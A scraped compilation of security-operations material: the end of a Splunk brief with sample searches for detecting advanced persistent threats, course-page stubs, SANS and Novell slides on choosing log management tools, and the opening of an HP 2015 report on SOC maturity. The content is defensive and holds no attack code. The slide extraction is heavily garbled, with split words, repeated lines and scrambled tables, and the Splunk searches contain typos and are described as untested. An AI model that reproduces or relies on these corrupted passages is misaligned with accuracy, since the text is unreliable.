action=Permit | lookup malicious clientip as dst | stats sum(byes) by dst• Monitor for fast requests following the download of a PDF, java, or exe. If a download is preceded by rapid requests for more files this is a potential indicator of a dropper • Monitor accesses to web mail services – watch for IPs outside of your allowed pool accessing outbound – possible exfiltration of data Firewall • Use ‘allowed’ ingress and egress traffic to determine how many internal systems may be communicating with a malicious IP addresses to know how much data was transferred and the time(s) the activity occurred • Monitor for abnormal amounts of out-bound traffic to certain domains. Use a ‘look-up’ to a watch-list (see Splunkbase for information on how to perform a look-up to a database or .CSV file of ‘bad sites’). • Watch for mismatches of a known protocol to an uncommon port or unknown protocol on a common port (e.g., FTP traffic on TCP 22 should at least initiate on TCP 21 or unknown protocol on TCP 22 – TCP 22 is generally used for SSH). Watch for potential false positives for Skype and streaming media. Using Splunk Monitoring a combination of network data and host file integrity monitoring data can be key for detecting APTs. Unlike many current solutions, Splunk Enterprise is uniquely suited to monitor patterns of activity in data over the very long periods of time required to see a potential attack. In addition, Splunk’s analytics and numeric functions can be used to create complex searches that employ user defined risk-based thresholds customized to the enterprise architecture. The information contained in search suggestions and examples below represents only a starting point for observing anomalous activity on hosts and on the networks and is not meant as a complete APT program. The searches have not been tested in an active environment. Attack vectors are constantly changing and it is up to the reader to stay abreast of conditions that may warrant changes in APT strategy. Splunk: Sample Searches for APT Host based (Splunk Universal Forwarder on Host) Monitor hosts for particular executables. • …| eval file_length=len(file) | where file_length == 4 • Watch for the creation or rapid growth in size of files and directories in the C:\Windows\Help\Help\user subdirectory. • index=helpchanges | delta filesize AS Size_Change | • table _time filesize Size_Change | sort - _time Watch for changes to the HKEY_LOCAL_MACHINE\ Free Download Download Splunk for free. You’ll automatically get all of the Enterprise features of Splunk for 60 days and you can index up to 500 megabytes of data per day. Or if you want to get started right away with an Enterprise license contact sales@splunk.com. --- ## Source: https://montance.com/questions.php?id=78 [![pdf](content/images/icons/pdf.svg) Splunk - APT Tech Brief.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgejlMbmxwMmhMT2c/view?usp=sharing) Splunk APT Tech Brief Resource covering Hunting titled 'Splunk APT Tech Brief'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgUE41SDNYN29lU1k/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgUE41SDNYN29lU1k/view?usp=sharing]** Six Things you Need to Consider Before Bu ying yg a Log Management Tool Dave Shackleford Dave Shackleford SANS Introduction •Why is logging important? •Why is logging important? – Meeting compliance mandates –K e e ping audit trails pg – Identifying incidents and tracking events li d i •Comp liance Tren ds & Logg ing: – PCI specified 1 year of critical logs, 3 months online 3 months online – SOX and HIPAA require data retention, 6-7 years © 2009 The SANS™ Institute - www.sans.org2 Common Challenges in Log Management Management •Planning mistakes: •Planning mistakes: – Many organizations underestimate the average size of log files, or the total quantity generated daily – Legacy applications and systems may generate log files that are may generate log files that are more difficult to parse and interpret •Security of logs and logging infrastructure – UDP…cleartext. L t i? S t ? –Log encryp tion? Storage ? © 2009 The SANS™ Institute - www.sans.org3 Common Challenges in Log Management (2) Management (2) •Log Storage Needs •Log Storage Needs – Database setup –L a rge-scale stora ge g g •Vendor Claims != Reality – Scalability – Custom parsing ability– Ease of Deployment & Integration Sh l t h f t •Searches are less than perfect – Especially “ad hoc” queries! © 2009 The SANS™ Institute - www.sans.org4 6 Considerations for Log Management Planning/Design Management Planning/Design •Log Retention & Compliance •Log Retention & Compliance •Performance •Reportin g pg •Log Management or Event Management? hf l •What more can you get from a log management solution? •Secure log transfer and •Secure log transfer and management © 2009 The SANS™ Institute - www.sans.org5 Log Retention g •Compliance requirements differ •Compliance requirements differ per industry and regulation •Some are concrete, others vague Regulation Retention Requirement•All require some retention PCI 1 year SOX 7 years HIPAA 6 years 6y a GLBA/FFIEC* 6 years NERC/FERC* 3 years FISMA* 3 FISMA* 3 years Basel II* 7 years © 2009 The SANS™ Institute - www.sans.org6 The stora ge challen ge gg •Volume of logs can be •Volume of logs can be overwhelming! •What options do you have? – Built-in storage with log management platform Optional “storage module” from log –Optional “storage module” from log management vendor –E x i s t i n g SAN/NAS or other lar ge- g/ g scale storage •These all have pros and cons © 2009 The SANS™ Institute - www.sans.org7 The stora ge challen ge (2) gg ( ) Option Pro Con p Built-in storage from vendorSimple to set up Built-in to productLimited capacity Proprietar y format p py Integration issues “Add-on” storage Simple to set up Limited capacity module from vendor Integration is easy Proprietary format $$$ $$$ Existing storage infrastructure such as SAN /NASLeverages existing storage investmentLack of support by log management vendor for / More capacityintegration © 2009 The SANS™ Institute - www.sans.org8 Performance •What does the term “events per •What does the term events per second” really mean? – Collection of log events? – Archival of log events?– Parsing of log events? bf h b –S o m e c o m bination o f the above? •Log management products can be limited by the storage and limited by the storage and analysis methods in place © 2009 The SANS™ Institute - www.sans.org9 More on Performance •Logging cycle & performance limitin g gg g y p g factors: Logging aspect Performance Factors Collection Network speed/latency Local analysis en gine Parsing Database type StorageLocal analysis engine •Ask logging vendors for: – Performance metrics for collection in a Archival Storage type variety of network scenarios – Parsing metrics with a variety of log data types and sizes – Performance metrics with a number of storage types © 2009 The SANS™ Institute - www.sans.org10 Searches and Re portin g pg •Searches: •Searches: – What kind of search is being performed? – Can easily-customized queries be created? Do you need to be a Regex guru? –Do you need to be a Regex guru? •Reports: –Many products ship with “canned ” Many products ship with canned compliance reports – These vary in depth and quality © 2009 The SANS™ Institute - www.sans.org11 More on Re portin g pg •Most vendors ship a common •Most vendors ship a common group of “canned” compliance reports: – PCI, SOX, HIPAA, GLBA, etc. •Most enterprises want to modify and create custom policy -focused and create custom policy -focused reports or operational reports – What format are the reports in? – What is required to do this? • Manual Regex filter creation? •Wizard driven prompts? •Wizard -driven prompts? • Professional services engagements? © 2009 The SANS™ Institute - www.sans.org12 SANS Lo g Mana gement Surve y 2009 gg y “According to this year ’s survey, According to this year s survey, reporting is still a challenge for organizations . The survey broke reporting into a number of different functions. Of those, “Using log data to enhance other operations/cost reduction,” was considered “most diffi lt” b 23 t f difficult” by 23 percen t of survey respondents and “difficult” by an additional 35 percent. Other related items including “searching data ” and items , including searching data and “creating reports” also ranked relatively high on in the difficulty question .” question . © 2009 The SANS™ Institute - www.sans.org13 Log Mana gement vs. Event M gmt gg g •Many log mana gement solutions are yg g now touting “Event Management” and “Correlation” capabilities •What is the difference between the two? two? – And what do you really need? •Much of this answer depends on your reasons for log management: reasons for log management: – Regulatory concerns & compliance – Data Analysis and Retention (including forensics ) ) – Security Management & System Health Monitoring – Log analysis efficiency and process improvement improvement © 2009 The SANS™ Institute - www.sans.org14 More on “Wh y Log Mana gement” yg g •The Lo g Mana gement page at gg p g www.softpanorama.org cites the following reasons for log management:¹ – Optimizing system and network f t d th ti f performance; to record the actions of users; – Identifying security incidents, policy violations fraudulent activities and violations , fraudulent activities , and operational problems; – Performing audits and forensic analyses; – Supporting internal investigations; Supporting internal investigations; – Establishing baselines; and – Identifying operational trends and long- term problems. term problems. © 2009 The SANS™ Institute - www.sans.org151 - http://www.softpanorama.org/Logs/log_management.shtml Reasons for Lo g Mana gement* gg © 2009 The SANS™ Institute - www.sans.org16 *2009 SANS Log Mgmt Survey So…Lo g Mgmt or SIM /SEM? gg / •Log •SIM/SEM •Log Management – Troubleshooting•SIM/SEM – Detailed correlation p bilitie – Behavior baselines –Compliance capabilitie s – “Real-time” incident Compliance mandates – Data analysis for forensics or response – Deeper forensics for forensics or business intelligence Health analysis or legal requirements –C o m pliance –Health monitoringp mandates © 2009 The SANS™ Institute - www.sans.org17 What else can you get from log management sol tions? management sol utions? •Aside from compliance there are •Aside from compliance , there are many reasons to leverage a log management solution •Some include: – Troubleshooting applications and equipment equipment – Forensics Investigations– Incident Res ponse p – Firewall/IDS Tuning and Reporting– Improved Security Management © 2009 The SANS™ Institute - www.sans.org18 Troubleshootin g g The most common place to start looking when troubleshooting network, application, d OS i i l postfix/bounce[21172]: fatal: lock file defer 4438F62ECB: Resource temporarily unavailable postfix/smtpd[21779]: warning: connect to private/policy: Resource temporarily and OS i ssues is log files private/policy: Resource temporarily unavailable postfix/smtp[30785]: warning: 75FEC31D36: defer service failure postfix/postfix-script: fatal: the Postfix mail system is not running 39 02/07/2002 08:00:13.420 SEV=6 AUTH/41 RPT=2 192.168.124.241 Authentication successful: handle = 136, server = Internal, group = ipsecgroup 45 02/07/2002 08:00:13.420 SEV=8 IKEDBG/0 RPT=75 192.168.124.241 Group [ipsecgroup]Pr oposal # 1, Transform # 1, Type ISAKMP, Id IKEParsing received transform: Phase 1 failure against global IKE proposal # 1: Mismatched attr types for class © 2009 The SANS™ Institute - www.sans.org19 Hash Alg: Rcv'd: SHA Cfg'd: MD5 Forensics Investi gations g •Logs play an important role Logs play an important role in forensics investigations •Examples of logs that would play a role: play a role: – IDS and firewall logs – Host system logs Database and application logs –Database and application logs – Hmmm….pretty much any logs could potentially be relevant relevant . •Without logs, you are less able to successfully reconstruct events reconstruct events © 2009 The SANS™ Institute - www.sans.org20 Logs and Incident Res ponse gp •Many things ma y constitute an ygy incident •All incident response processes should ask the following questions at some point: some point: – “What’s going on?” – “Have we fixed the problem?” L l t d ith th it •Logs corre lated with other secur ity data can help! •A few types of incidents as examples: Malware infection –Malware infection – Security breaches/attacks – Data theft or IP leakage © 2009 The SANS™ Institute - www.sans.org21 Improved Securit y Mana gement py g •Logging provides an important first •Logging provides an important first step to security •Logs can tie together multiple aspects and roles in security: – Network security (firewalls, IDS) – Host security (admins, developers)–C o m pliance (audit, privacy) p( , p y ) – Risk management (short and long- term security decision-making) •Correlating logs with other data (e.g., NBA l bili NBA, asset, vulnerability, performance and configuration) results in a more comprehensive security management program security management program © 2009 The SANS™ Institute - www.sans.org22 Better incident response & insider beha io beha vior •If logs were better tied to a user •If logs were better tied to a user directory (LDAP/AD/etc)… – Events could be better correlated with user activity and information – User activity could be easily monitored when needed monitored when needed – Policy violations could be identified more quickly, including fraud activity © 2009 The SANS™ Institute - www.sans.org23 Secure lo g stora ge and transit gg •A major concern with most •A major concern with most common logging solutions is the security of the logs in transit and t t at rest •Planning for a log management architecture should include: architecture should include: – Storage security – Transit security – Volume of logs– Addresses confidentiality, il bilit d i t it availability, and integrity © 2009 The SANS™ Institute - www.sans.org24 Solutions? •Use a separate logging network •Use a separate logging network •Implement logging over SSL/TLS or other encrypted tunnels •Use hashing or other file integrity monitoring solutions to guarantee log integrity log integrity •Use TCP-based Syslog •MD5 or SHA-1 messa ge digests for gg transmission integrity •Implement log file or database ti f l t t encryp tion for log content © 2009 The SANS™ Institute - www.sans.org25 Conclusions •Log management is a broad area •Log management is a broad area with a large variety of solutions •There are many things to consider, some of which are easy to overlook! •Include performance reports •Include performance , reports , storage, and other uses for logs in your planning process •Make sure your solution supports enhanced security beyond standard Syslog! standard Syslog! © 2009 The SANS™ Institute - www.sans.org26 Nl l S t i l L M Novell Sentinel Log Manage r Jason Arrington Product Line Manager, SIEM jarrington@novell.com Novell Sentinel Log Manager •New product in the Novell Sentinel Security Information and Event Management product line •Solves issues with current log management tools: Cl l i i i i b ill li h il –Log Collectionis improv ing, but still relies heavily on insecure and unreliable protocols –Custom report creation is difficult costly and –Custom report creation is difficult , costly , and time consuming. Even custom search interfaces leave much to be desired! –Data retention and archiving is costly, partially due to vendor conflicts of interest © Novell, Inc. All rights reserved.28 Log Collectiong •Log Management data collection is heavily skewed toward syslog usually over unreliable insecure UDP toward syslog –usually over unreliable , insecure UDP •Mixed support for TCP; no support for TLS / SSL •Connecting to non -syslog data sources often requires an •Connecting to nonsyslog data sources often requires an agent or another suboptimal solution •Some products take “secure” protocols such as Cisco SDEE or Checkpoint LEA and convert them to syslog •Data forwarding of non-syslog data is often not possible © Novell, Inc. All rights reserved.29 Novell Sentinel Log Manager Log CollectionLog Collection •Agentless support for all Novell Sentinel data collection modules, including custom modules •Rich interface for adding, configuring, and managing data collection modulesdata collection modules •Enhanced support for syslog, including syslog-ng –Automatic detection of data source typeAutomatic detection of data source type –Improved performance –Support for syslog over TCP and UDP –Secure syslog transport over TLS / SSL without tunneling © Novell, Inc. All rights reserved.30 Reporting and Search Search: A subset of the stored log data, defined and formatted according to an ad-hoc set of criteriaof criteria What do these terms mean in the context of Log Management? Report: epo t A subset of the stored log data, defined and formatted according to a © Novell, Inc. All rights reserved.31formatted according to a predefined set of criteria Reportin g Still Problematic pg •“According to this year’s survey, reporting is still a hl l f i i Th b k challenge for organ izations. The survey broke reporting into a number of different functions. Of those, “Using log data to enhance other operations/cost reduction,” was considered “most difficult” by 23 percent of survey respondents and “difficult” by an additional 35 percent. Other related items, includin g pg “searching data” and “creating reports” also ranked relatively high on in the difficulty quest ion.” quest o -SANS Lo g Mana gement Surve y 2009 © Novell, Inc. All rights reserved.32gg y The Report “Arms Race” Log Management vendors stockpile huge numbers of stock reports and label them as appropriate to a specific regulation, system, or use case The vendor with the most reports wins?The vendor with the most reports … wins? What does it actually take to create a compliance report? •Define the relevant events •Format the data •Customize the report for the specific Customize the report for the specific organization’s needs with filters, etc. © Novell, Inc. All rights reserved.33 Novell Sentinel Log Manager Reporting and SearchReporting and Search •Reports and Searches use the same data •Search results are interactive – drill down, refine, and modify the criteria by clicking through the data Sh l t b i t lt i d i t l •Search resu lts begin to appear a lmost imme diately, then automatically update as additional results are found without the need to click to the next pa geg •Query and search online and archived data seamlessly •One-click report creation directly from search results © Novell, Inc. All rights reserved.34 Novell Sentinel Log Manager Reporting and SearchReporting and Search © Novell, Inc. All rights reserved.35 Novell Sentinel Log Manager Reporting and SearchReporting and Search © Novell, Inc. All rights reserved.36 Data Stora ge and Archivin g gg •Some Log Management vendors use proprietary Thi bl i l di storage systems. This causes pro blems including: –Dependence on vendor tools for reporting and search No way to analyze archived data without bringing it back into–No way to analyze archived data without bringing it back into the vendor's device –Difficult to prove that the data is unmodified •Some products have no mechanism for forwarding events in real-time, making it a data black hole Your Data Here © Novell, Inc. All rights reserved.37 Data Stora ge and Archivin g gg •Log Management tools often claim they collect “all the d” hi b l d “ h bili data” -this can be trans lated as “we have no a bility to filter out useless data” •It can also be interpreted as “we would like to sell you •It can also be interpreted as we would like to sell you more storage capacity” •If all logs are treated equally, that means that all your data is subject to your strictest retention requirement •What can you do with archived data? Do you need to bring it back online before you canbring it back online before you can © Novell, Inc. All rights reserved.38 Novell Sentinel Log Manager Data Storage and ArchivingData Storage and Archiving •All data is stored in the same storage system •Data is automatically compressed to minimize storage requirements – 10:1 ratios are typical C t t SAN / NAS td h i i t •Connec ts to SAN / NAS to expan d archive capac ity •Custom retention policies can be defined based on the value of the information and/or a specific mandatethe value of the information and/or a specific mandate •Intuitive graphical interface shows data usage trends and any potential problems •“Online” and “Archive” refer to storage location only; search and reporting functions work with both © Novell, Inc. All rights reserved.39 Novell Sentinel Log Manager Data Storage and ArchivingData Storage and Archiving © Novell, Inc. All rights reserved.40 Log Mana gement + SIEM gg •Many vendors tout their real-time capabilities •Mediocre log management + mediocre SIEM does not equal great software Nl l t t d i t h i t S I E Md t ( S t i l )d•Novell started with its SIEM product (Sentinel), and built a log management product that drew on its stren gthsg –Not trying to piggyback SIEM on top of log management –Performs exceptionally well with both use cases •Once you have log management + SIEM –Then what? How actionable is the data that you have? © Novell, Inc. All rights reserved.41–How actionable is the data that you have? Buildin g Identit y-enabled Securit y gy y Identity-aware security and compliance monitoring AccountRole-based Provisioning Real -timeIncident Response Password ManagementAccount Synchronization Log ManagementReal time Monitoring Identity Management Security Monitoring © Novell, Inc. All rights reserved.42 Novell Sentinel Lo g Mana ger provides gg p •Higher EPS rate than the competition •One-click custom report creation •Syslog support over UDP, TCP, SSL/TLS Support for NAS / SAN storage for archiving•Support for NAS / SAN storage for archiving •Seamless reporting and search across online and archived data •Event forwarding for Syslog and non-Syslog data •“SentinelLink” to forward data securely for real-time processing •Compatibility with Novell Sentinel and the rest of the Novell Compliance Management platformCompliance Management platform © Novell, Inc. All rights reserved.43 Unpublished Work of Novell, Inc. All Rights Reserved. This work is an unpublished work and contains confidential, proprietary, and trade secret information of Novell, Inc. Access to this work is restricted to Novell employees who have a need to know to perform tasks within the scope of their assignments. No part of this work may be practiced, performed, copied, distributed, revised, modified, translated, abridged, condensed, expanded, collected, or adapted without the prior written consent of Novell, Inc. Any use or exploitation of this wo rk without authorization could subject the perpetrator to criminal and civil liabilit y.y General Disclaimer This document is not to be construed as a promise by any participating company to develop, deliver, or market a product. It is not a commitment to deliver any material, code, or functionality, and should not be relied upon in makin g purchasin g decisions. Novell , Inc. makes no re presentations or warranties with res pect to the gp g , p p contents of this document, and specifically disclaims any express or implied warranties of merchantability or fitness for any particular purpose. The development, release, and timing of features or functionality described for Novell products remains at the sole discretion of Novell. Further, Novell, Inc. reserves the right to revise this document and to make changes to its content, at any time, without obligation to notify any person or entity of such revisions or changes. All Novell marks referenced in this presentation are trademarks or registeredsuch revisions or changes. All Novell marks referenced in this presentation are trademarks or registered trademarks of Novell, Inc. in the United States and other countries. All third-party trademarks are the property of their respective owners. •Click to edit the outline text format –Second Outline Level •Third Outline Level –Fourth Outline Level »Fifth Outline Level »Sixth Outline Level »Seventh Outline Level »Eighth Outline Level »Ninth Outline Level --- ## Source: https://montance.com/questions.php?id=77 [![pdf](content/images/icons/pdf.svg) SANS - Six things you need to consider before buying a log management tool.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgUE41SDNYN29lU1k/view?usp=sharing) Sans Six Things You Need To Consider Before Buying A Log Management Tool Resource covering Logging titled 'Sans Six Things You Need To Consider Before Buying A Log Management Tool'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgRjdVdDYzalQ1Vm8/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgRjdVdDYzalQ1Vm8/view?usp=sharing]** Business white paper State of security operations 2015 report of capabilities and maturity of cyber defense organizations Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsTable of contents 3 Abstract 3 Executive summary 5 Summary of findings 6 Relevance of our data—qualification to present this report 6 Security Operations Maturity Model and methodology 8 Industry medians 10 SOC maturity over time 11 Customer case studies 13 Findings 13 People 15 Process 16 Technology 18 Business 19 Conclusion 20 About HP Enterprise Security 3 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsAbstract Organizations around the globe are investing heavily in IT cyber defense capabilities to protect their critical assets. Whether protecting brand, intellectual capital, and customer information, or providing controls for critical infrastructure, the means for incident detection and response to protect organizational interests have common elements: people, processes, and technology. The maturity of these elements varies greatly across individual enterprises and industries. In this 2nd annual report, HP provides updates to the capabilities, lessons learned, and performance levels of security operations based upon maturity assessments performed on worldwide organizations. With over a decade of experience supplying the technology at the core of the world’s most advanced cyber defense and enterprise security operations centers (SOCs), HP has worked with more of the world’s top cyber defense teams than any other organization and is uniquely qualified to publish this report. Executive summary HP Security Intelligence and Operations Consulting (SIOC) has assessed the capability and maturity of 87 discreet SOCs in 118 assessments since 2008. The maturity assessments include organizations in the public and private sectors, enterprises across all industry verticals, and managed security service providers. Geographically, these assessments include SOCs located in 18 countries on 6 continents. This is the largest available data set from which to draw conclusions about the state of cyber defense and enterprise security operations around the globe. HP’s methodology for assessments is based on the Carnegie Mellon Software Engineering Institute Capability Maturity Model for Integration (SEI-CMMI) and has been updated at regular intervals to remain relevant with current trends and threat capabilities. The focus of the assessments is inclusive of the business alignment, people, process, and technology aspects of the subject operations. The reliable detection of malicious activity and threats to the organization, and a systematic approach to manage those threats are the most important success criteria for a mature cyber defense capability. 2nd annual report Median Security Operations Maturity Model (SOMM) score: 1.55 Target SOMM score: 3 #1 issue: Finding and retaining skilled resources Significant increase in sharing of threat intelligence87% of SOCs are not meeting recommended maturity levels 4 categories assessed: people, process, technology, and business 20% of SOCs are failing to achieve minimum security monitoring capabilities % of SOCs that are achieving minimum security monitoring capabilities without a SIEM: 0 Highest scoring industry: TechnologyLowest: Telecom118 assessments of 87 SOCs in 18 countries across 6 continentsFigure 1. 2015 report of capabilities and maturity of cyber defense organizations 4 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsThe ideal composite maturity score for a modern enterprise cyber defense capability is level 3—where the capability is “defined.” This is achieved with a complimentary mixture of agility for certain processes and high maturity for others. HP has observed that higher levels of maturity are costly to achieve and that in the quest for higher maturity, operations often suffer from stagnation, rigidity, and a low level of effectiveness. Cyber defense teams (or providers offering SOC services) that aspire to achieve maturity levels of 5 lack an understanding or appreciation of the nature of such capabilities and the threats they are defending against. Managed security service providers (MSSPs) should target a maturity level of 4 due to the need for consistency in operations and the potential penalties incurred for missed service commitments—yet, there is a compromise in agility, effectiveness, and breadth that the MSSP and its customers accept with this level of maturity. Once the ideal maturity level is achieved, a cyber defense team’s focus should be to continually evolve capabilities to keep pace with a rapidly evolving threat landscape. The cost of data breaches has increased by 96 percent; the number of successful attacks annually, per company, has increased by 144 percent in the last four years. 1 The time it takes to resolve a cyber attack has increased 221 percent over this same period. With these staggering numbers, there is a clear need for improvement in the effectiveness of enterprise security operations to limit the impact and improve the time to resolution of such events. This report summarizes data gathered during maturity assessments performed by HP and shares trends pertaining to the current state of this important security function, including common mistakes, and the lessons that can be learned from them. The intent of this report is to expose and drive the capability and maturity of cyber defense teams as organizations move into the fifth generation of security operations. 2 HP has found that 20 percent of cyber defense organizations assessed failed to score a SOMM level 1. This means that 1/5th of SOCs are not providing minimum security monitoring capabilities to their organizations. By comparison, the 2014 State of Security Operations report 3 found that 24 percent of cyber defense organizations scored below a SOMM level 1. Additionally, 66 percent of SOCs and cyber defense organizations were only achieving minimum ad-hoc threat detection and response capabilities. 87 percent of cyber defense organizations operate at sub-optimal maturity and capability levels. The assessments have shown some interesting trends: • Organizations are willing to seek capital for “do-it-all” technology that is flexible and can perform advanced tasks. • Organizations often neglect to seek operational budgets to staff the proper resources or to develop the needed processes resulting in solution deployments that don’t provide the expected value. This has caused organizations to accept immature capability that produces basic results or that only addresses simple issues, but does not allow them to achieve strategic business goals, minimize risks, or secure their environments. • Due to major breaches and industry-wide vulnerabilities such as Heartbleed and Shellshock, there has been a significant increase in organizational willingness to share threat intelligence and temporary solutions to problems. Organizations are still looking to their vendors and technology partners as the primary resource to help them through these urgent, massive scale events. • Visible breaches have led to C -level and Board-level exposure to the financial and brand impact on organizations; through media coverage and internal evaluations, executives are asking questions about the ingredients necessary for organizational recovery, the importance of a security operations program that provides situational awareness, and the need for security organizations to provide ongoing reporting on business risk and incident activity. Security organizations are being asked to communicate the actual business impact of threats, incidents, and vulnerabilities. A key element in the uneven distribution of maturity results across industries can be directly correlated with the experience of negative financial impact from malicious attacks. This means that the organizations that recognize the business criticality of protecting their enterprises, or those who have experienced direct financial loss due to malicious attacks, do a better job of maturing to a higher level. This group of organizations recognizing the true financial impact of a breach is growing rapidly. 1 Based on internal analysis of the results from the 2011–2014 “Cost of Cyber Crime Study” reports from Ponemon Institute. 2 hp.com/go/5gsoc 3 hp.com/go/StateofSecOps2014The ideal composite maturity score is a level 3—“defined.” 1 out of 5 SOCs are not minimally prepared to respond to, much less detect, cyber threats affecting their organization. 5 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsSummary of findings HP assessments of organizations worldwide continue to show the median maturity level of cyber defense teams remain well below optimal levels. Many of the findings and observations from the 2014 State of Security Operations report 4 are still valid. Additionally, the following observations and findings have surfaced: • Security is a board-level conversation . Cyber defense teams must provide visibility and high-level business focused reporting to the C -suite and Board. This has driven cyber defense teams to shift their thinking towards the business. • The security analyst skills gap is real . The top issue facing security organizations is availability of skilled resources. This is exacerbated by high levels of attrition in many security organizations and low levels of employer loyalty. • Organizations are most concerned about detecting cyber espionage and the compromise of information or systems that can be exploited for financial gain . Intellectual property theft remains of great concern for organizations. Coordinated large scale attacks in the past year focused on credit card and protected health data that has direct monetary value. • Common architectural vulnerabilities have forced InfoSec and IT organizations to work together . Heartbleed and Shellshock required simultaneous IT-driven patching and security operations situational awareness to look for possible infiltrations based on these vulnerabilities. Vulnerability management and incident response became symbiotic for a short period of time in these instances. • The most capable and mature SOCs have a very specific and defined scope . These SOCs are able to focus their time, tools, and skills on security incident monitoring and response and are not diluted with IT and administrative tasks. • SOC alignment under Legal or Governance, Risk & Compliance organizations increases their authority . When aligned with IT, systems uptime and availability typically trumps addressing security issues. • SOCs are overwhelmed with the number of vendors and technologies they need to implement . A great focus is being put on investing in technologies and frameworks that can provide quick ROI but provide limited capabilities for future expansion. Some organizations are making the mistake of implementing “right now” technologies that seem to meet basic goals but find 12 months out that they have outgrown these technologies. • Cloud, SaaS, and IaaS security use cases are entering the SOC . As many organizations undergo IT transformation projects to alternate modern platforms, security considerations are top of mind. Organizations are requiring Cloud, SaaS, and IaaS vendors to both meet security standards, but also to provide visibility into network, system, application, and user activity for monitoring with enterprise SOCs. • Hunt teams are increasing in popularity . Many cyber defense teams operate in a reactive mode, responding to alerts from systems designed to detect known threats. Most compromises are still present for weeks to years before being detected, and are usually detected by a third party. To close this gap, many organizations are creating roles to “hunt” through existing security and system data to identify conditions of interest and previously undetected incidents. • “Advanced Security Analytics” and Big Data for security tools are gaining momentum . Big Data security analytics solutions are the shiny new technology that cyber defenders are drooling over. While these tools are providing value in some organizations, the space is still being defined and mileage varies greatly based on a variety of factors. Sustained value from these solutions are most apparent where findings are able to be operationally integrated with enterprise security operations capabilities. • SOC workflow and metrics programs can drive the wrong behavior . Ticket-based workflow and metrics around event counts and time-based SLAs encourage SOC to focus on the quantity of events closed rather than quality and risk reduction from effective security investigations. Analyst focus is on quick turnaround and closing alerts rather than addressing organizational security issues. 4 hp.com/go/StateofSecOps2014 6 Business white paper | 2015 report of capabilities and maturity of cyber defense organizations• Internal MSS organizations are being created within companies to service different business units . Many large enterprises, especially those that have multiple business units or have grown by acquisition, will have a single business unit make the security investment of building a cyber defense capability, develop it, and offer services to other internal business units to share costs and keep security in-house. • Cyber defense capabilities are only as strong as their weakest link . Organizations that invest in monitoring teams but neglect to define and implement meaningful use cases that model security detection efforts around key business processes are not able to achieve ROI. Similarly, organizations that invest in technology and detective measures but fail to define roles and responsibilities for responding to detected incidents are not able to achieve ROI. Organizations that are able to focus their efforts, end-to-end, around securing and protecting high value business processes are the most successful. • Classroom training and certifications are not a substitute for multi-domain experience when it comes to staffing cyber defense roles . Environment-specific training programs are a necessity to refine the specific skills required of cyber defenders. • Management and team leadership has an enormous impact on the overall capability and effectiveness of a cyber defense team . Leaders must be able to cultivate and maintain a culture where individuals believe in the work that they are performing and feel supported by leadership in their daily activities as well as their professional development. Leaders must be able to work effectively across organizational barriers to accomplish complex tasks. They must also balance subject matter knowledge with an awareness of when external assistance is necessary. Relevance of our data—qualification to present this report HP Enterprise Security Products portfolio includes the industry-leading HP ArcSight suite of logging and security information and event management (SIEM) products and services. The HP ArcSight ESM product revolutionized the modern SIEM market. SIEM is often referred to as a “force multiplier” for security technologies and is at the core of modern cyber defense and SOC teams. SIEMs perform centralization and correlation of discrete data types, enable intelligent correlation of that data, integrate business and asset context, provide an interface for investigation and operational workflow, and generate metrics and reports. The SIEM is the technical nerve center of the cyber security program and SOC. HP formed the SIOC practice in 2007, dedicated to defining SOC best practices and building enterprise-class SOCs. This team combined the experience gained while implementing SIEMs within SOCs since 2001 with experts who have designed, built, and led SOCs for some of the world’s largest organizations. Since its inception, the SIOC team has iteratively matured a methodology for SOCs that has been adopted worldwide by dozens of organizations. HP created the security operations maturity model (SOMM) in 2008 to help clients by assessing their current SOC state against industry best-practices and individual goals, and to build plans based on experience to close the gap in the most effective and efficient manner. The SOMM is not a self-assessment that can lead to misleading results, but rather an objective review of an organization’s capabilities led by a subject matter expert. The elements of assessment within the SOMM are based on the HP SIOC methodology, as derived from over a decade of experience in dozens of enterprise SOC environments. HP’s industry-leading products, proven methodologies, and a decade of experience with the largest data set of its kind make HP uniquely qualified to produce this report. Security Operations Maturity Model and methodology The Capability Maturity Model for Integration (CMMI) is a process improvement approach that provides organizations with the essential elements of effective processes. It can be used to guide process improvement across a project, division, or an organization. CMMI helps integrate traditionally separate organizational functions, set process improvement goals and priorities, provide guidance for quality improvement, and provide a point of reference for appraising current processes. HP has modified the CMMI approach in order to effectively measure the maturity of an organization’s security operations capability. The HP model, named the SOMM, focuses on multiple aspects of a successful and mature security intelligence and monitoring capability including people, process, technology, and supporting business functions. 7 Business white paper | 2015 report of capabilities and maturity of cyber defense organizationsThe SOMM uses a five-point scale similar to the CMMI model. A score of 0 is given for a complete lack of capability while a 5 is represented by a tightly controlled, rigorously measured system with fully documented detailed procedures, very high consistency and repeatability, and pervasive measurement. Organizations that have no formal threat monitoring team will typically score between a level 0 and level 1 because even an organization with no formal full-time equivalent (FTE) or team performs some monitoring functions in an ad-hoc manner. The most advanced SOCs in the world will typically achieve an overall score between a level 3 and level 4—there are very few of these organizations in existence today. Most organizations with a team focused on threat detection will score between a 1 and 3. SOMM level Rating Description Level 0 Incomplete Operational elements do not exist. Level 1 Initial Minimum requirements to provide security monitoring are met. Nothing is documented and actions are ad-hoc. Level 2 Managed Business goals are met and operational tasks are documented, repeatable, and can be performed by any staff member. Compliance requirements are met. Processes are defined or modified reactively. Level 3 Defined Operations are well-defined, subjectively evaluated, and flexible. Processes are defined or modified proactively. This is the ideal maturity level for most enterprise SOCs. Level 4 